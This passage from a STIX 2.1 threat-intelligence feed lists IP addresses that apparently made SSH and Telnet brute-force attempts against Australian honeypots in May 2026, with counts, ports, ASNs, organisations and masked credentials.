      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 152087. Organisation(s): PT Mega Cipta Netindo.",
      "id": "indicator--0b357791-2cdb-4672-a8ea-14b17af27d9d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.241.246.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T15:15:10.000Z",
      "valid_until": "2026-06-12T15:15:08.000Z"
    },
    {
      "created": "2026-05-11T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--240847ab-a303-4e4f-98e6-0e3e2906afe5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.167.225.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T15:15:10.000Z",
      "valid_until": "2026-06-12T15:15:08.000Z"
    },
    {
      "created": "2026-05-11T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 25019. Organisation(s): Saudi Telecom Company JSC.",
      "id": "indicator--60f781db-e6c0-46c0-83ba-bd5d66546515",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '141.164.248.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T16:15:10.000Z",
      "valid_until": "2026-06-12T16:15:08.000Z"
    },
    {
      "created": "2026-05-11T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 5713. Organisation(s): SAIX-NET.",
      "id": "indicator--9027d550-2e8c-45c7-9691-6427fdb7fb78",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.165.123.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T16:15:10.000Z",
      "valid_until": "2026-06-12T16:15:08.000Z"
    },
    {
      "created": "2026-05-11T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 198584. Organisation(s): PIO-Hosting GmbH.",
      "id": "indicator--9b580e11-4fd3-4621-a916-9b6de3de3beb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.131.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T16:15:10.000Z",
      "valid_until": "2026-06-12T16:15:08.000Z"
    },
    {
      "created": "2026-05-11T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 33. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262514. Organisation(s): BTT TELECOMUNICACOES S.A..",
      "id": "indicator--752552e6-ba26-44e4-a6e1-58ee36e3ab83",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.55.182.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T16:15:10.000Z",
      "valid_until": "2026-06-12T16:15:08.000Z"
    },
    {
      "created": "2026-05-11T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9498. Organisation(s): BHARTI Airtel Ltd.. Usernames observed (masked): u****u, a***n, r**t, a***********r, ***. Passwords observed (masked): **, ***, 1****3, 1**4, 1******b.",
      "id": "indicator--17736b36-8de0-4c4d-8370-6ef253b76c8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.79.216.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T16:15:10.000Z",
      "valid_until": "2026-06-12T16:15:08.000Z"
    },
    {
      "created": "2026-05-11T16:15:10.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 23. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--59e11966-28fe-42de-9a19-03b81066df88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.46.255.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T16:15:10.000Z",
      "valid_until": "2026-06-12T16:15:08.000Z"
    },
    {
      "created": "2026-05-11T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40021. Organisation(s): Contabo Inc..",
      "id": "indicator--932daaa4-46f0-4b67-a8fc-a485031ded37",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '207.244.251.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T16:15:10.000Z",
      "valid_until": "2026-06-12T16:15:08.000Z"
    },
    {
      "created": "2026-05-11T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): g***t. Passwords observed (masked): 1***5.",
      "id": "indicator--e01f85b4-ea25-4be5-b217-1c324b002296",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '211.46.177.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T16:15:10.000Z",
      "valid_until": "2026-06-12T16:15:08.000Z"
    },
    {
      "created": "2026-05-11T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 25019. Organisation(s): Saudi Telecom Company JSC.",
      "id": "indicator--a736491e-7547-42ce-8038-8ca8e9eb037f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.106.132.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T16:15:10.000Z",
      "valid_until": "2026-06-12T16:15:08.000Z"
    },
    {
      "created": "2026-05-11T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DO. ASN(s): 274105. Organisation(s): ANTHONELY TECNOLOGY SYSTEM SRL.",
      "id": "indicator--a2440706-7366-428e-85ba-535bc5cbf8a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.80.13.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T16:15:10.000Z",
      "valid_until": "2026-06-12T16:15:08.000Z"
    },
    {
      "created": "2026-05-11T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--9f5f1b51-7f2e-44a5-8433-59c3a3f9791c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '40.124.175.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T16:15:10.000Z",
      "valid_until": "2026-06-12T16:15:08.000Z"
    },
    {
      "created": "2026-05-11T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t. Passwords observed (masked): R**********!.",
      "id": "indicator--a44e91a1-fd03-4c8a-824f-c582c6f56b35",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.153.34.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T16:15:10.000Z",
      "valid_until": "2026-06-12T16:15:08.000Z"
    },
    {
      "created": "2026-05-11T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): a***n, m***l, u****u. Passwords observed (masked): P******D, a*********3, ***.",
      "id": "indicator--ac8b78a5-79dd-4be4-9d76-a522e205ef1d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.78.194.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T16:15:10.000Z",
      "valid_until": "2026-06-12T16:15:08.000Z"
    },
    {
      "created": "2026-05-11T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 16223. Organisation(s): Maxnet Telecom, Ltd.",
      "id": "indicator--34d9d6e7-18fb-4eb4-8e51-6f19ae0add23",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.58.42.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T16:15:10.000Z",
      "valid_until": "2026-06-12T16:15:08.000Z"
    },
    {
      "created": "2026-05-11T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KG. ASN(s): 207369. Organisation(s): Skynet Telecom, LLC.",
      "id": "indicator--e018dfec-b027-4743-a815-47c8aa1bf577",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.59.231.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T16:15:10.000Z",
      "valid_until": "2026-06-12T16:15:08.000Z"
    },
    {
      "created": "2026-05-11T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 215. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 18403. Organisation(s): FPT Telecom Company. Usernames observed (masked): u****u, r**t, a***n, u**r, 3**********4. Passwords observed (masked): P**********!, p******d, 1****0, 1***5, 1****6.",
      "id": "indicator--fcafcee8-bcc6-4b69-b045-2977f9827002",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.186.20.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T16:15:10.000Z",
      "valid_until": "2026-06-12T16:15:08.000Z"
    },
    {
      "created": "2026-05-11T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--2eb4ea58-51f6-48ff-84c6-6dd2e4f7fedb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T16:15:10.000Z",
      "valid_until": "2026-06-12T16:15:08.000Z"
    },
    {
      "created": "2026-05-11T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 9145. Organisation(s): EWE-Tel GmbH.",
      "id": "indicator--c6e4eab4-bc12-4f81-849a-baac4f310d28",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.96.187.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T16:15:10.000Z",
      "valid_until": "2026-06-12T16:15:08.000Z"
    },
    {
      "created": "2026-05-11T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 47. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 137047. Organisation(s): TELECOMMUNICATION AND TECHNOLOGY MASTERS PVT. LIMITED.",
      "id": "indicator--7b5d5579-398f-4a81-bab4-7edd7194cbf7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.160.215.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T17:15:10.000Z",
      "valid_until": "2026-06-12T17:15:08.000Z"
    },
    {
      "created": "2026-05-11T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--86561011-f9a6-499c-a7b6-5e3f64268b0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.194.13.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T17:15:10.000Z",
      "valid_until": "2026-06-12T17:15:08.000Z"
    },
    {
      "created": "2026-05-11T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 204457. Organisation(s): Atlantis Telekomunikasyon Bilisim Hizmetleri San. ve Tic. Ltd. Sti..",
      "id": "indicator--8d7fa0a3-e9f5-4f1d-8c6b-aff2d7fb94e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '131.222.230.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T17:15:10.000Z",
      "valid_until": "2026-06-12T17:15:08.000Z"
    },
    {
      "created": "2026-05-11T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--6dc0421d-bb36-4677-b57e-54b46c086c3f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.128.168.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T17:15:10.000Z",
      "valid_until": "2026-06-12T17:15:08.000Z"
    },
    {
      "created": "2026-05-11T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 56046. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--a7d76116-9459-4429-b607-db1493e29290",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.212.245.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T17:15:10.000Z",
      "valid_until": "2026-06-12T17:15:08.000Z"
    },
    {
      "created": "2026-05-11T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 3243. Organisation(s): Servicos De Comunicacoes E Multimedia S.A..",
      "id": "indicator--6316b416-80de-47b0-bb69-1922f84a83c0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.81.24.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T17:15:10.000Z",
      "valid_until": "2026-06-12T17:15:08.000Z"
    },
    {
      "created": "2026-05-11T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 270372. Organisation(s): CEUNET TELECOM EIRELI.",
      "id": "indicator--b1bb4fa0-5110-4e1e-aa98-580edde88b6d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.89.109.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T17:15:10.000Z",
      "valid_until": "2026-06-12T17:15:08.000Z"
    },
    {
      "created": "2026-05-11T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation.",
      "id": "indicator--6c8b9953-398e-4bb5-9d93-16324babd267",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.191.55.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T17:15:10.000Z",
      "valid_until": "2026-06-12T17:15:08.000Z"
    },
    {
      "created": "2026-05-11T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--b55f19d7-1993-4f5c-8acd-7eaa9f6e90c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T17:15:10.000Z",
      "valid_until": "2026-06-12T17:15:08.000Z"
    },
    {
      "created": "2026-05-11T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--21e6f3cd-84af-4861-be6b-e490bd51ae2f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T17:15:10.000Z",
      "valid_until": "2026-06-12T17:15:08.000Z"
    },
    {
      "created": "2026-05-11T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 271951. Organisation(s): 4 EVER PLUG,C.A..",
      "id": "indicator--adc0249e-06a9-4ee4-a503-98d700718123",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.226.191.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T17:15:10.000Z",
      "valid_until": "2026-06-12T17:15:08.000Z"
    },
    {
      "created": "2026-05-11T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--1e46d514-e9fd-4dae-bce7-7db6e7676052",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.179.234.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T17:15:10.000Z",
      "valid_until": "2026-06-12T17:15:08.000Z"
    },
    {
      "created": "2026-05-11T18:15:31.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--e3df89b3-730f-45d5-80a4-44cc7002e52a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T18:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.32.185.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T18:15:31.000Z",
      "valid_until": "2026-06-12T18:15:08.000Z"
    },
    {
      "created": "2026-05-11T18:15:31.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SY. ASN(s): 14593. Organisation(s): Space Exploration Technologies Corporation.",
      "id": "indicator--6904a37a-3bef-4f36-8385-8c3aa25231fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T18:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '129.224.207.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T18:15:31.000Z",
      "valid_until": "2026-06-12T18:15:08.000Z"
    },
    {
      "created": "2026-05-11T18:15:31.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--8bcf3099-0262-4bad-9b3b-3f2a70a70d7f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T18:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.2.102.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T18:15:31.000Z",
      "valid_until": "2026-06-12T18:15:08.000Z"
    },
    {
      "created": "2026-05-11T18:15:31.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 27699. Organisation(s): TELEFONICA BRASIL S.A. Usernames observed (masked): u****u, a***n, ***, d*******r, g***t. Passwords observed (masked): t**t, 0****n, ***, ***, 1*******!.",
      "id": "indicator--4e87f640-017c-403d-a198-7a8f77e91c04",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T18:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.250.243.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T18:15:31.000Z",
      "valid_until": "2026-06-12T18:15:08.000Z"
    },
    {
      "created": "2026-05-11T18:15:31.000Z",
